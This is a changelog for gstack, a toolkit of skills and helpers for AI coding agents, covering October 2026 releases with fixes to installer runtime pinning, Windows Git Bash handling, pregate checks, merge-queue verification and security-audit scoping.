- **Pregate recognises bats tests (#3161).** In a repository whose tests are `.bats` files, `lanes` failed every run with `PREGATE_NO_LANE`. A `.bats` file is now a test, a selection manifest's `.bats` paths are taken, and the bats TAP plan and pretty summary feed the zero-run rule. Contributed by @harjothkhara (#3177); reported in #3161.
- **A working-tree fingerprint failure says what failed (#3197).** `gstack-pregate` reported it as `policy source unavailable: origin/<base> is not a resolvable commit` with `git fetch` as the fix. It is now `WTREE_UNAVAILABLE`. On Windows the line lists every Git Bash candidate tried and names `GSTACK_GIT_BASH`, and a `gstack-wtree` failure keeps its own repair (for example `set TMPDIR to a writable directory`).
- **`gstack-pregate --json` refusals are JSON.** A refusal before any check runs is one `{ok:false,status:"refused",code,detail,fix,docs}` object on stdout with exit 3; `GSTACK_RESULT` moves to stderr under `--json`.
- **Pregate reads `test_backend` on Windows.** The `gstack-config` read goes through Git Bash instead of a direct spawn that Windows cannot execute.
- **No plan-mode section on hosts without plan mode (#3168).** Codex, Antigravity, Hermes, OpenClaw, Factory, Kiro, Slate, Cursor and GBrain skills drop the two plan-mode preamble sections (about 1.5k characters per skill).

### Added
- `gstack-doctor` lists `refs/gstack/rescue/*` with dates and the inspect and delete commands; warns when a gstack section in `~/.claude/CLAUDE.md` or the project's CLAUDE.md enumerates skills (#3169) and prints the short block; on Windows names the Git Bash gstack uses and what chose it.
- A free test fails when a generated SKILL.md on any host exceeds 100,000 characters or grows past its pin (#3199).

### If you…
- **…use pregate on Windows** and saw `origin/<base> is not a resolvable commit`: update, then follow the `WTREE_UNAVAILABLE` line; usually `export GSTACK_GIT_BASH='C:/Program Files/Git/bin/bash.exe'` (Git Bash) or `$env:GSTACK_GIT_BASH = 'C:\Program Files\Git\bin\bash.exe'` (PowerShell).
- **…parse `gstack-pregate --json`:** a refusal is now a JSON object on stdout (exit 3), not a `GSTACK_RESULT` line; switch on `status` (`refused`, `complete`, `incomplete`). `GSTACK_RESULT` is on stderr under `--json`.
- **…keep tests as bats files:** `lanes` selects and runs them; declare `"runner": "bats {files}"` and map sources with `dependencies` in `.gstack/pregate.json` (bats files are not scanned for path literals).
- **…use Codex, Antigravity, Hermes, OpenClaw, Factory, Kiro, Slate, Cursor or GBrain:** rerun `./setup` to get the smaller skills.
- **…have local edits rescued by an auto-update:** `gstack-doctor` lists each rescue ref with the commands to inspect and delete it.
- **…pasted gstack's skill list into a CLAUDE.md:** `gstack-doctor` warns and prints the two-line block to use instead.
- **…are on Windows and `gstack-doctor --check` says your revision is too old:** it prints the held-install recovery for Git Bash and PowerShell 5.1 instead of `bin/gstack-upgrade`, which refuses on Git Bash installs.
- **…edit a skill template:** `test/skill-md-size-guard.test.ts` fails when a generated SKILL.md grows past 100,000 characters or past its pin; when you shrink a pinned skill, lower its pin in `test/fixtures/skill-md-size-allowlist.json`.

## [1.91.116.0] - 2026-10-17

**Lanes and the coordinator now share a merge queue whose stamp claims are checked instead of trusted, risky changes need a cited owner approval before they ship, /review checks state machines cell by cell, pregate warns about timing assertions, and the update check notices when main moves without a version bump.** These are the field list 2 wave B items from the gbrain crew (W1-W4, W10, W12).

### What this means for you

- **`gstack-ship-queue` runs a shared merge queue.** `ready` prints one READY block and refuses when the tree differs from the pushed head. `stamp` checks every proof input, restamps through `gstack-restamp`, and resumes on an identical retry. The coordinator's `verify` reruns the tree receipt and recomputes a gate-ahead merge, so a lane's stamp claim is never taken on trust. Ship policy gains `gate_command`, `full_e2e` and `min_gstack_version`; a gstack older than a key it reads refuses with `POLICY_GSTACK_TOO_OLD`. See `docs/ship-policy.md#run-a-shared-merge-queue`.
- **Approval classes.** `.gstack/approval-classes.json` (read from the base branch) declares what needs an owner's approval. `gstack-ship-receipt write` refuses a branch that touches a class until the PR body cites `Approved by <owner> <date> via <ref> for <class>@<digest12>`, bound to the effects being shipped.
- **/review's state-machines specialist** builds a kind × owner action matrix for diffs that change a state machine. `gstack-state-matrix check` reports every missing cell, and an untested cell is CRITICAL.
- **Pregate's `timing` check** warns on added test lines that bound wall or CPU time or sleep and then assert. Mark a deliberate bound with `gstack-timing-ok: <reason>`. /investigate gains a timing-flake playbook.
- **The update check sees a moved main.** At an equal VERSION it reports `UPGRADE_AVAILABLE <ver> <ver>+<n> <sha>` through the GitHub compare API (never `git fetch`). The cache is bound to HEAD and upstream, and snooze is keyed by SHA. /gstack-upgrade summarizes the commits instead of a CHANGELOG entry.
- **Pregate's docs lane** comes from #3215 by Cursor Agent: Markdown no test depends on is already a docs/no-tests empty lane.

### For contributors

- The release-path result codes live in `lib/result-codes-release.ts`, spread into `RESULT_CODES`, so `lib/result-codes.ts` stays inside the module-size ratchet.
- New paid case `review-army-state-matrix` (periodic, behavior). The periodic lane's `max-parallel` is 38 so every planned slice still starts at once.
- The scope-signal clarity test also accepts a signal printed by the helper its own selection line runs (SCOPE_STATE_MACHINE), and the hermetic update-check fixture writes the identity cache.

## [1.91.115.0] - 2026-10-17

**Autoplan now enforces its round cap and spend budget and can export a public copy of a run, /eval-plan tests its preregistered diagnostics and checks every arm's model against repo rules before money moves, and a reviewer subagent can install gstack's read-only helpers in seconds.** These are the field list 2 wave A items from the gbrain crew (autoplan W5-W7, eval-plan W8/W9, reviewer install W11).

### What this means for you

- **Autoplan stops when it said it would.** A run that reaches its round cap with open findings closes as accepted-with-findings and defers them to the build instead of starting another round. The spend budget is enforced the same way.
- **`gstack-autoplan export --out <run> --public <dir>` writes a shareable copy.** Recorded machine roots are rewritten in prose. A root that survives (for example inside a code span in the plan) is reported as `ARTIFACT_MACHINE_PATH`, and a target directory holding unrelated files is refused with `ARTIFACT_PUBLIC_TARGET_EXISTS`.
- **Durable autoplan checkpoints are opt-in.** Set `GSTACK_AUTOPLAN_CHECKPOINT_DIR` or `gstack-config set autoplan_checkpoint drive`. `resume --from` never redispatches a voice that already bound.
- **/eval-plan runs the preregistered diagnostics before the freeze.** `prereg --check` reads an optional `## Diagnostics` section, runs the summarizer on the declared fixture only with `--allow-repo-commands`, and reports any miscount as `PREREG_DIAGNOSTIC_UNTESTED`.
- **`.gstack/eval-models.json` (read from the base branch) gates every arm.** `arms`, `dry-run`, `pilot start` and `price-gate` refuse unknown, denied or older-generation models before any money is reserved (`EVAL_MODELS_INVALID`, `EVAL_MODEL_DENIED`, `EVAL_MODEL_OLD_GENERATION`, `EVAL_MODEL_GENERATION_UNRESOLVED`). See `docs/eval-models.md`.
- **`--for review-voice` installs only the read-only helpers.** No `./setup`, no host profiles, Bun at gstack's own minimum. Its trailer says `for=review-voice`, and every full workflow refuses that verdict with a `--for <skill>` fix. Autoplan reviewer prompts now ask each reviewer to run it and relay its `gstack:` line.

### For contributors

- New result codes and troubleshooting anchors are appended to `lib/result-codes.ts`, `docs/troubleshooting.md` and the generated `bin/gstack-doctor-components.sh`. The `capy/skill/gstack` context-budget ceiling is raised to its capture value under the ratchet protocol.
- The doc-sync observer (`test/helpers/docsync-observer.ts`) accepts `GSTACK_SESSION_KIND=spawned <gstack-skill-start> --help` as the harmless read it is. Paid case ship-docsync-store went red on that command alone.
- `test/capy-review-voice.test.ts` is curated out of the Windows subset: it is a POSIX launcher contract (tar -C into a drive-letter root, a colon-joined launch PATH).

## [1.91.114.0] - 2026-10-17

**The DevEx reviews now score every error message for the reader that usually meets it first: an AI agent running unattended.** `/plan-devex-review`, the `/autoplan` DX phase and `/devex-review` used to ask for "problem + cause + fix". Now they score each error path against an eight-item agent-ready contract: what, fix, recovery, code, context, trace, redaction and channel. Two kinds of failure cap the Error Messages score. A leaked secret, a failure reported as success, an unsafe fix or a block on a terminal caps it at 4/10. A missing fix, recovery, context or trace caps it at 6/10.

### What this means for you

- **Plan reviews catch agent-hostile errors before you build them.** Pass 3 of `/plan-devex-review`, and both autoplan DX voices (native and outside), report `CAP4:<path>:<item>` findings as Critical and `CAP6:<path>:<item>` findings as High, and output a path-by-item matrix. Usage errors rejected before any work need only what, fix, code, redaction and channel. Remote APIs are never penalized for keeping their stack traces server-side. `docs/agent-ready-errors.md` is the public reference.
- **`/devex-review` exercises CLI errors under containment.** The new `gstack-error-capture` runs the target with no terminal, stdin closed, a temporary cwd and HOME, a scrubbed environment and a deadline. It prints one redacted JSON record: exit code, deadline kill, terminal verdict (`blocking`, `refused_with_alternative`, `refused_no_alternative`) and secret findings. Forwarding credentials, config files or a real directory needs `--approved`, and every capture stays read-only.
- **Old and new DX scores are not compared.** Review-log rows now carry `dx_rubric` and per-dimension scores. Trend Check and Boomerang print "rubric changed, not comparable" across rubric versions instead of a misleading delta.
- **"AI coding agent" is a persona option** for CLI tools and Claude Code skills, and "Agents are users too" joins the DX principles.

### For contributors

- `lib/dx-error-contract.ts` is the single source; the snapshot literal, the outside prompt and the public doc are tested against it. The `DX_CAPTURE_*` codes live in `RESULT_CODES`, each with a troubleshooting anchor.
- `lib/qa-deadline.ts` accepts an optional `spawn: {cwd, env}`. Existing callers are unchanged.
- New paid behavior case `dx-error-contract-review` (periodic, 3 trials). The native DX reviewer must cap a hostile CLI path and an unspecified path, and must not cap three decoys. Its grader is replayed free in `test/dx-error-contract-grader.test.ts`.
- Known limit: containment lasts only while the helper runs. A SIGKILLed helper, or a descendant that leaves the process group, outlives it, which is why captures are limited to read-only invocations. The helper's Windows and macOS paths are covered only by CI's free shards.

## [1.91.113.0] - 2026-10-17

**A Capy install that has fallen behind now says so in the one line lanes relay, a skipped upgrade is never reported ok, and a reused pid no longer blocks every upgrade.** Lanes pass along only the `gstack:` trailer, so a session that was 12 commits behind origin looked current. Two field reports (GBRA-105, GBRA-106) showed session-start upgrades wedged behind a lease whose pid now belonged to dbus-daemon or systemd-logind, while the trailer still said ok.

### What this means for you

- **The ok trailer carries the gap and the fix:** `gstack: ok <v> for=<skill> (behind=<n> (latest: <v>); fix: <command>)`. The fix is the command that actually closes the gap: a rerun, `gstack-upgrade` for a dirty, detached or diverged checkout, or `unset <VAR>` when upgrades are switched off. Run it.
- **A skipped session-start upgrade fails.** When the upgrade is busy, refused or missing, install mode ends `gstack: fail behind — … (UPGRADE_BUSY|UPGRADE_REFUSED)` with exit 1, and workflows refuse until the fix runs. An explicit opt-out stays ok with the `behind=` note.
- **A lease records who holds it.** `gstack-lease` stores the holder's start identity (boot id plus start time, or `ps` lstart). A lease whose pid now belongs to another process is reclaimed, with a `gstack-lease: reclaimed stale lease …` line. `live`, UPGRADE_BUSY and `fail behind` name each holder as `pid <p> (<age>m <command>)`.
- **The supported minimum rises to this release**, so older Capy checkouts are fast-forwarded at install-mode session start.

### For contributors

- The lease directory has a lock: a symlink naming its holder, broken only when that holder is dead or its pid was reused. Breakers serialize on `.lock.break` and reread before removing. While a live process holds the lock, `touch` exits 3, and `gstack-skill-start` reports that the session holds no workflow lease. Known limit: two gstack-lease processes killed in a row can still let a reclaim delete a renewal.
- The paid-gate Aside drive-offer detector (`test/helpers/third-party-actions.ts`) now matches the product name only. The English "set this aside" was a false positive in paid run 38988927989.

## [1.91.112.0] - 2026-10-17

**`/cso --paths` audits part of a repository and says exactly what it skipped.** A repository over /cso's 64 MiB source cap used to get one piece of advice, "run /cso on a smaller checkout". The trimmed copy then read as the whole repository, and the verdict never said what was left out. `gstack-cso start --paths src/core,src/mcp` now audits only those prefixes and reports every other path as skipped, with snapshot and history coverage marked partial.

### What this means for you

- **`--paths` narrows an audit without hiding what it left out.** Files outside the prefixes are never copied, read or counted toward the cap. The run's snapshot manifest lists each one, the report counts them, and snapshot-inputs and history-inputs coverage read partial, so the verdict can't look complete. Git history is limited to the same prefixes.
- **`--diff --paths` fails closed.** A changed, added or deleted file outside the prefixes refuses the run and is named, including `.npmrc`, `bunfig.toml`, `.claude/` and other credential or agent configuration. Only dependency trees such as `node_modules`, which /cso never reads, are exempt.
- **Findings stay in scope.** A finding, recheck evidence or `history` query on a skipped path is refused, and rechecks and replays keep the original `--paths`.
- **The source-cap message points to `--paths`** and warns against hand-trimmed copies. The manifest cap and the 100,000-entry limit still count every file, so their advice is unchanged (#2993).

### If you…

- **…audited a hand-trimmed copy to get under the cap:** rerun /cso on the full checkout with `--paths` set to the directories you want audited, so the report says what was skipped.

### For contributors

- New `test/cso-audit-paths.test.ts` covers the cap advice, the withheld entries and gaps, the `--diff` refusal in both directions, bounded 1 MiB hashing of out-of-scope files when a comparison base is set, recheck and replay scope, and out-of-scope history and findings.
- Known limits: under `--paths` the original-source hash ignores content changes outside the scope, out-of-scope hashing has no byte cap beyond the time budget, `--paths` with `--comprehensive` runs on a trimmed tree, and a recheck refuses when the audited directory was renamed.

## [1.91.111.0] - 2026-10-16

**Four background reds in the paid PR gate were caused by a detector, a fixture interface, a gstack helper and a Review Army workflow block, not by the PRs that hit them.** Each is fixed where it starts, and each fix has a free regression built from the red run's captured events. Over the last 99 gate runs, 10 of 28 full-selection PR runs had a red. Replayed under these fixes, that drops to 8, and red verdicts drop from 13 to 10. No threshold, budget, trial count or quarantine changed.

### What this means for you

- **`gstack-skill-start --help` and `gstack-skill-end --help` print usage and touch nothing.** They used to ignore the flag and run a real session: minting a session id, writing a marker into your state root and emitting an instruction. Now `-h`/`--help` exits 0 before any side effect.
- **/review and /ship's Review Army prints the scope signals it selects specialists from.** The "Detect stack and scope" block sourced `SCOPE_FRONTEND`, `SCOPE_BACKEND` and the rest without showing them, so agents added their own `echo` to the block. It now ends with `set | grep '^SCOPE_'`.

### For contributors

- The `ship-docsync-launch-failure` detector treats "until/unless/once/when/before/if Documentation is current" as a condition, not a claim. A new replay corpus in `test/fixtures/detector-corpora/ship-docsync-launch-failure/` covers it.
- The docsync observation interface admits the lifecycle helpers' own `--help`. Every Bash command from the `ship-docsync-store` red run (`test/fixtures/docsync-store-38969924945-bash.json`) passes it.
- The qa-only browser-deadline policy admits `ls -la <root>/qa-reports/screenshots`. Escapes, siblings, `-laR` and appended commands are still refused.

## [1.91.110.0] - 2026-10-16

**A full install now ends ok on gbrain: the installer resolves and installs the project's pinned Node, and the launch PATH no longer puts a shared bin directory first.** On 1.91.107.0 a full install in gbrain still ended `gstack: fail pins`. gbrain pins node 24.18.0 in CI (`.github/workflows/native-locks.yml`), the Capy image ships 24.21.0 in `/usr/local/bin`, and the installer handled only Bun pins (GBRA-117). Changing nvm's default didn't help, because the launch PATH put the resolved Bun's directory first. When that Bun was `/usr/local/bin/bun`, the image's node came with it (GBRA-122).

### What this means for you

- **The project's Node pin is resolved like its Bun pin.** `engines.node`, `.nvmrc`, `.tool-versions` and CI `node-version:` pins are read by the same parser. Non-CI exact pins are required, and CI pins in different jobs are alternatives. The installer takes the first node that satisfies them, in this order: the node first on PATH, gstack's store copy of a wanted version, nvm's copy, then any other node on PATH. With no match, install mode downloads the pinned release from nodejs.org into `<state root>/runtimes/node/<version>`, checked against `SHASUMS256.txt`. `/usr/local/bin` and nvm are never written, and `--check` never installs.
- **The install verdict records the Node** (`node_path`, `node_version`, `node_rule`), and `--check` keeps using it while it still reports its version and satisfies the pins.
- **The launch PATH never exposes a shared bin directory.** A Bun from gstack's store still launches from its own version directory. Any other Bun, and a Node the launch needs, launch through a gstack-owned directory beside the verdict that holds only `bun`, `bunx` and, when needed, `node`, `npm`, `npx` and `corepack` symlinks. The pregate's lanes use the same directory.
- **A Node pin mismatch says what to do.** The doctor's `pins` row names the node it read and gives a fix: on Capy, the installer command that installs the pinned Node; elsewhere, `nvm install <version>` and putting it first on PATH.

### If you…

- **…run gstack on a Capy machine in a repo that pins Node:** run `bash <skill>/scripts/install.sh --for <skill>` once, then launch with the `GSTACK_LAUNCH` line it prints.

### For contributors

- `bin/gstack-node-runtime.sh` holds Node resolution, the verified install and the launch-directory writer. `renderPinLines` now prints `PIN_EXACT_REQUIRED` and `PIN_CI_ALTERNATIVES` lines for node as well as bun.
- `test/gstack-capy-install.test.ts` covers a Bun resolving into a directory that holds another node, gbrain's CI pin served from nvm and recorded, and a store install with a SHA-256 mismatch control. The doctor, runtime-pins and pregate launch tests cover the fix line, the node plan lines and the recorded launch directory.

## [1.91.109.0] - 2026-10-16

**Pregate's secrets check stops passing real keys it never scanned, Windows Git Bash can run `gstack-upgrade` again, and four user-reported workflow bugs are fixed.** The secrets check could miss a committed AWS key in two ways and flagged ordinary TypeScript as secrets. `gstack-upgrade` refused every Git Bash install. Catalog field names failed a check that can't be downgraded. Browse treated some server-side writes as read-only, and a plan review could delete another review's summary. Each fix has a test that fails on the previous release.

### What this means for you

- **Pregate `secrets` scans what you actually added (#3211).** An added line that begins with `++` used to be dropped as if it were a diff header, and a `diff.external` or `textconv` driver could empty the diff, so a branch carrying a real key passed with "no added lines". Both false negatives are older than this release. The check now reads the diff hunk by hunk with external drivers off. It scans each file with its own type, so `token: credentials.token,` in a `.ts` file is code, not a secret, and each finding names its file. Reported by @brentyates-swx.
- **`gstack-upgrade` works under Windows Git Bash.** It compared Git's `C:/x` with Git Bash's `/c/x` as plain strings and refused every install as "not a gstack checkout" (`UPGRADE_REFUSED`), the same command the doctor's recovery line tells you to run. It now compares the paths themselves. A gstack tree nested inside another repository is still refused.
- **A catalog field named like `"input_key": "expected_media_rate_bits"` is no longer a credential (#3208).** env.kv skips a value only when the whole name is one data-model word plus `_key` and the value is lowercase identifier words. `cosmosdb_primary_key`, `api_cache_key`, ALL-CAPS env names and entropic values still fire. Reported by @brentyates-swx.
- **Browse's "LOOK, not ACT" rule covers two writes it missed (#3216).** On a non-local target, a wizard or dialog step (Next, Step N, a menu item that opens a dialog) counts as a write until its handler or network effect shows otherwise, and its Cancel proves nothing. Before any Save or Submit, every value set with `fill`, `selectOption` or `setValue` is read back, and a mismatch stops the run. Reported by @tomg65.
- **A second plan review no longer deletes the first one's summary (#3219).** `/plan-design-review` writes its Completion Summary, and `/plan-devex-review` its DX Scorecard, in their own sections above `## GSTACK REVIEW REPORT`. That report section is the part the next review deletes and rewrites. Reported by @virajs13.

### If you…

- **…hit `UPGRADE_REFUSED` "not a gstack checkout" on Windows:** update by hand once (`cd <install> && git pull --ff-only && ./setup`); `gstack-upgrade` works from then on.
- **…renamed a field or added a workaround to get past pregate `secrets`:** you can drop it. Rerun `gstack-pregate --only secrets`; findings now say which file they're in.

### For contributors

- New `test/pregate-secrets-source-context.test.ts` covers the `++` line, the empty external diff, the TypeScript exemption and a `.env` control. `test/gstack-upgrade-path-spelling.test.ts` emulates MSYS with `uname`, `cygpath` and `git` shims.
- `test/cso-git-hardening.test.ts` builds its fixture repo once per file. On a cold macOS runner, the per-test git spawns used up the first test's 5 s budget (#3207, by @scottgigante-hubflow).

## [1.91.108.0] - 2026-10-16

**The weekly census's two #3153 findings were in the test fixtures, not in /ship or /review.** The Oct 12 census went red on `ship-exploratory-late-input` and flagged `review-army-simplification` over its session headroom cap. Both are diagnosed from the run's own transcripts (`docs/evals/headroom-diagnosis-2026-10.md`), and each fixture repair lands with a free test that failed first. No skill prose, budget, threshold or detector changed. Reported by the weekly periodic census bot (#3153).

### What this means for you

- **`ship-exploratory-late-input` no longer gets invited to probe before its QA methods are read.** The fixture's scheduling contract told the session to batch "Reads and read-only discovery" together, and the session counted a QA capture as discovery. It went out in the same response as the Step 9 section Read, before any QA section had returned. The contract now says a capture, a deadline guard start or run, or a diagnostic run is a probe, never discovery. The ordering rule itself stays in /ship's own Step 9 STOP, so the case still catches that STOP being lost.
- **`review-army-simplification` stops spending its budget on a false premise.** Its prompt said the diff was "over 100 lines" when the fixture is 68, so every run reconciled the mismatch, read the whole review skill and checklist, and wrote an unbounded report (142, 91 and 146 s of a 180 s budget on Oct 12; 159 s pooled). It now stages only the Review Army section and the simplification checklist with recorded scope, stats and diff, as the other Review Army cases do. It selects the specialist with the real `/review --simplification` flag and caps the report at 30 lines. The budget and assertions are unchanged.

### If you…

- **…maintain gstack's eval census:** the next census on this revision (or the paid reruns of the two cases) decides both; until then #3153 stays open.

### For contributors

- `test/qa-exploratory-callers.test.ts` replays census 38212265208's native tool order through `callerProbeReadErrors`, with a reordered negative control, and checks the actual runner callback's discovery definition.
- `test/review-army-budget.test.ts` drives the registered simplification callback with a mocked runner: one pass control and two negative controls. It checks that the premise matches the staged 68-line diff, which files are staged, and the report bound.

## [1.91.107.0] - 2026-10-16

**The GBRA-40 field list is fixed: install and check agree on one Bun, `rec` approves an autoplan gate in one word, and pregate never sits silent.** Eighteen Capy threads upgraded to v1.91.101.0 and reported 21 problems (`GBRA-40`, October 14). Each gstack item was reproduced with a test that failed first; the plan went through `/autoplan` (two gate revisions, Claude and GPT-6.1 Sol voices per phase) and two independent code reviews. Two items are Capy's (skills not mounted on some crew threads, Drive copies not re-synced) and are handed off, not worked around.

### What this means for you

- **Install, `--check` and upgrade resolve the same Bun.** One resolution contract (`gstack_bun_resolve` in `bin/gstack-bun-version.sh`, twinned in `lib/pregate/runtime.ts`) picks, in order, the project's exact verified pin in gstack's runtime store, the install default, `$BUN_INSTALL/bin`, `~/.bun/bin`, then PATH, and only a Bun that satisfies every applicable pin. The install verdict is keyed by checkout and project (`install-verdicts/<checkout>/<project|none>.json`) and records the Bun's path and version; `--check` fails `BUN_RESOLUTION_DRIFT` only when that Bun is gone, changed or no longer fits the pins.
- **Fresh machines get Bun 1.4.3; the floor stays 1.4.2.** `GSTACK_BUN_DEFAULT="1.4.3"` is installed when no pin decides (`GSTACK_BUN_INSTALL_VERSION` overrides it with another verified version). Verified Buns unpack into `$GSTACK_STATE_ROOT/runtimes/bun/<version>/` with `bunx`; `~/.bun/bin/bun` is never overwritten.
- **Fresh Capy shells run the right Bun without a PATH export.** On Capy cloud machines the installer writes marked `~/.local/bin/bun` and `bunx` shims that pick the Bun recorded for the current project (or the no-project record), validate and contain any `.bun-version` pin, and stay quiet unless a pin cannot be served. `GSTACK_BUN_SHIM_EXPLAIN=1` says why; `GSTACK_BUN_SHIM=0` opts out; a foreign `~/.local/bin/bun` is never touched.
- **CI pins in different jobs are alternatives.** A project whose CI tests Bun 1.4.2 and 1.4.3 in different jobs is satisfied by either; package.json, `.tool-versions` and `.bun-version` pins are still all required. This also explains GBRA-39's backwards `outside CI 1.4.2` report.
- **`gstack-upgrade` certifies the project you ran it from**, on the no-op, fast-forward and pending-repair paths alike. A pins failure prints `gstack: fail pins …` after a kept move and leaves no pending-reinstall marker; any other installer stop prints `gstack: fail runtime — …`.
- **The ok trailer says what it skipped and what is newer:** `gstack: ok <rev> for=<skill> (pins: skipped (planning-only|no project); latest: <ver> available)`. The `gstack: fail <components>` head is unchanged.
- **A stale Drive wrapper is visible.** With no active-wrapper provenance the doctor reads the Drive copies itself and fails `CAPY_WRAPPER_STALE` only when every copy is stale; an active copy below the minimum is a `WARN` owner action.
- **`rec` takes every recommendation, plan changes included.** `all`, `approve all`, `accept all` and `take all recommendations` are aliases; `as-is` keeps the plan as written; `rec except d4a` overrides one item. The render shows `rec` first with a `rec_hash`; the new `gstack-autoplan recommend` lets the relaying parent set an item's recommendation, after which a stale `rec` is refused (`GATE_REC_STALE`). An agent's answer needs `--owner-reply` with the owner's words, and words that parse to different choices are refused. Gates rendered by an older gstack refuse alias replies until re-rendered.
- **Two-voice recommendations need a shared remedy.** A file:line or title match alone is `unverified`; opposite remedies are a disagreement.
- **Autoplan artifacts survive revisions, late edits and machine loss.** An empty findings fence means no findings. Each attempt writes its own result file and `submit` binds a sealed `.bound.md` copy. `answer` reopens nothing (`amend_pending`); `revise` reopens what actually changed, and `revise --settle <id>` closes a packaging-only change, in the same call as `--incorporates` if needed. With `GSTACK_AUTOPLAN_CHECKPOINT_DIR` set, each rest state publishes an immutable checkpoint generation; `gstack-autoplan checkpoints --from <dir>` lists them and `resume --from <dir>` restores the newest valid one after validating it.
- **Smaller autoplan fixes:** `status` lists `PENDING:` attempts; `gstack-gate render --all`; findings' `file` fields are repo-relative; numbers quoted from the plan are not `NUMBER_UNRECEIPTED`; an outside voice without `--runner` is `(host-subagent)`; PLAN_REALITY flags an unquantified "minimum effect / margin / decision rule" beside the approval item without blocking.
- **`gstack-pregate` never hangs silently.** Test commands run in their own process group with output to a log; `PREGATE_TEST:` progress and heartbeats go to stderr live; `--stall-timeout` (default 300 s, `stall_timeout_s` in `.gstack/pregate.json`) kills a silent group (`PREGATE_STALLED`); `--timeout` stays per runner process. Under 8 cores with a declared remote gate the tier becomes a `requires-remote` obligation; `--remote --spend-cap <usd>` runs it and clears it only on a matching `PREGATE_REMOTE:` receipt.
- **`/ship` issue links.** `gstack-issue-links` lists commit mentions as `Refs` candidates (`fix #N` promotes one), adds `Related: #N (@author)` for other authors' open PRs closing the same issues (Supersedes and credit only with `--supersedes`/`--credit`), and maps a CI run id only to a bot-filed flake issue naming that run and a test. `gstack-ship-receipt write` refuses a body missing its issue lines (`ISSUE_LINKS_MISSING`).
- **Also:** the Capy installer ends with one `gstack ready (claude, codex)` line and says `cloned … at <rev>` for a fresh clone; `ubi-runner -S` accepts only 320 or 640 unless `UBI_ALLOWED_STORAGE` says otherwise.

### For contributors

- New CI job `quick-bun-default` runs the quick tier on `GSTACK_BUN_DEFAULT`; `test/bun-version-drift.test.ts` pins it and `free-tests` requires it.
- New tests: `test/bun-resolve.test.ts`, `test/autoplan-checkpoint.test.ts`, `test/autoplan-pairing.test.ts` (with this run's real pairs as fixtures), `test/pregate-supervise.test.ts`, `test/pregate-remote.test.ts`; many existing suites gained regressions.
- The ship parity union cap is 1.6488 (measured), and the Capy skill's eager budget is 2601 tokens for its new autoplan checklist.

## [1.91.106.0] - 2026-10-16

**The 2026-10-15 issue wave is fixed, with every adopted contributor patch kept under its author.** Twenty-odd field reports and community PRs from the week after v1.91.101.0 (`docs/designs/FIX_WAVE_2026_10_15.md`): an `/autoplan` run locked by a Claude Code 2.1.300 compaction, `/cso` scans that could not finish, auto-updates that left conflict markers or held every Windows install, Windows pregate and restamp unable to run gstack's own scripts, plan reviews that lost their native second opinion on Claude Code 2.1.277+, and a batch of maintenance fixes. Each was reproduced with a test that failed first on v1.91.101.0.

### What this means for you

**Recovery and `/cso`**

- **`/autoplan` continues after a Claude Code 2.1.300 auto-compaction.** The journal reader follows the compact boundary's preserved segment, so the phase guard no longer denies every phase with `close_incomplete` (#3194, adopted from #3196 by @vilano93). A compaction layout gstack does not read yet now allows with a visible warning and a decision-log row (`unrecognized_shape:compaction_unreachable`) instead of locking the run; an orphaned or not-yet-flushed record still denies.
- **`/cso` Semgrep reports parse after redaction.** A redacted bare number in a JSON report becomes a quoted marker, so the report is no longer discarded as `INVALID_OUTPUT` (#3185). Only scan stdout declared as JSON takes the JSON-aware path, and a finding that spans JSON structure still withholds the whole stream. Rerun scans that ended `INVALID_OUTPUT`.
- **`/cso` runs through OrbStack's Docker.** Docker and the watchdog invoke the trusted realpath with `argv0` `docker`, which OrbStack's multicall binary needs (#3187, adopted from #3188 by @aegixx).
- **The browse daemon recovers when every tab was closed outside browse.** The next command opens a blank tab and says so once (`open your page again with: browse goto <url>`); `status`, `stop` and `restart` answer without opening one, and a context that cannot open a tab fails with `BROWSE_TAB_UNRECOVERABLE` (#3167, adopted from #3179 by @aftabkh4n).
- **The Bun floor check holds under zsh.** zsh now reports Bun 1.3.2 as too old instead of accepting it, so `/gstack-upgrade` holds with `BUN_TOO_OLD` until you run `bun upgrade`. A `bun --version` the check cannot parse holds with `BUN_VERSION_UNREADABLE` and asks you to reinstall Bun from https://bun.sh (#3195).

**Install, update and Windows**

- **Auto-update no longer leaves conflict markers in your install.** The updater and `/gstack-upgrade` share one helper, `bin/gstack-ff-update`: it saves your local edits in a rescue ref under `refs/gstack/rescue/`, moves the install with a two-way `read-tree` that refuses to overwrite anything it did not save, and prints once a day how to inspect (`git -C '<install>' show --stat '<ref>'`), export and delete the rescue. Adopts #3189 by @BenjaminDSmithy and #3191 by @Jesssullivan.
- **Windows auto-update is no longer held on every release (#3184, reported by @wengweiling).** The hook check extracts the incoming release without `tar`, and the banner shows the hold instead of a stale "bun not found". If yours has been held since 1.91.89.0, run the recovery once (docs/troubleshooting.md#auto-update-held-install-recovery). Git Bash:
  `cd ~/.claude/skills/gstack && git fetch origin main && d=$(mktemp -d) && git show FETCH_HEAD:bin/gstack-ff-update > "$d/gstack-ff-update" && bash "$d/gstack-ff-update" . FETCH_HEAD; s=$?; rm -rf "$d"; [ "$s" = 0 ] && ./setup`
  Windows PowerShell:
  `Set-Location -LiteralPath "$HOME\.claude\skills\gstack" -ErrorAction Stop; $gb = Join-Path (git --exec-path) '..\..\..\bin\bash.exe'; & $gb -c 'set -f; IFS=; git fetch origin main && d=$(mktemp -d) && git show FETCH_HEAD:bin/gstack-ff-update > $d/gstack-ff-update && bash $d/gstack-ff-update . FETCH_HEAD; s=$?; rm -rf -- $d; exit $s'; if ($LASTEXITCODE -eq 0) { .\setup.ps1 }`
- **`setup.ps1` works under Windows PowerShell 5.1 (#3130, reported by @gfl130902-maker).** Its `bash -c` script holds no double quotes, which 5.1 stripped; an empty argument is refused up front (`SETUP_PS1_EMPTY_ARGUMENT`). It now finds Git Bash the same way the hooks do, including next to `git --exec-path` on arm64.
- **Windows pregate, restamp, regen, gate-diff and evidence run gstack's own scripts again (#3197, reported by @exGeni).** Bun on Windows cannot execute an extensionless shebang script; every TypeScript caller now goes through `lib/script-invocation.ts`, which runs bash scripts through Git Bash. Git Bash outside `C:\Program Files\Git` (scoop, per-user, portable) is found next to `git --exec-path`. To pin one, in PowerShell: `[Environment]::SetEnvironmentVariable('GSTACK_GIT_BASH', 'C:\Program Files\Git\bin\bash.exe', 'User')`, then restart Claude Code. `GSTACK_BASH` still works as a deprecated alias; a path that does not exist is refused, and a non-MSYS `bash` on PATH (Cygwin, WSL) is no longer used. With no Git Bash, the error lists every place gstack looked and ends `(BASH_UNAVAILABLE)` (docs/troubleshooting.md#bash-unavailable).
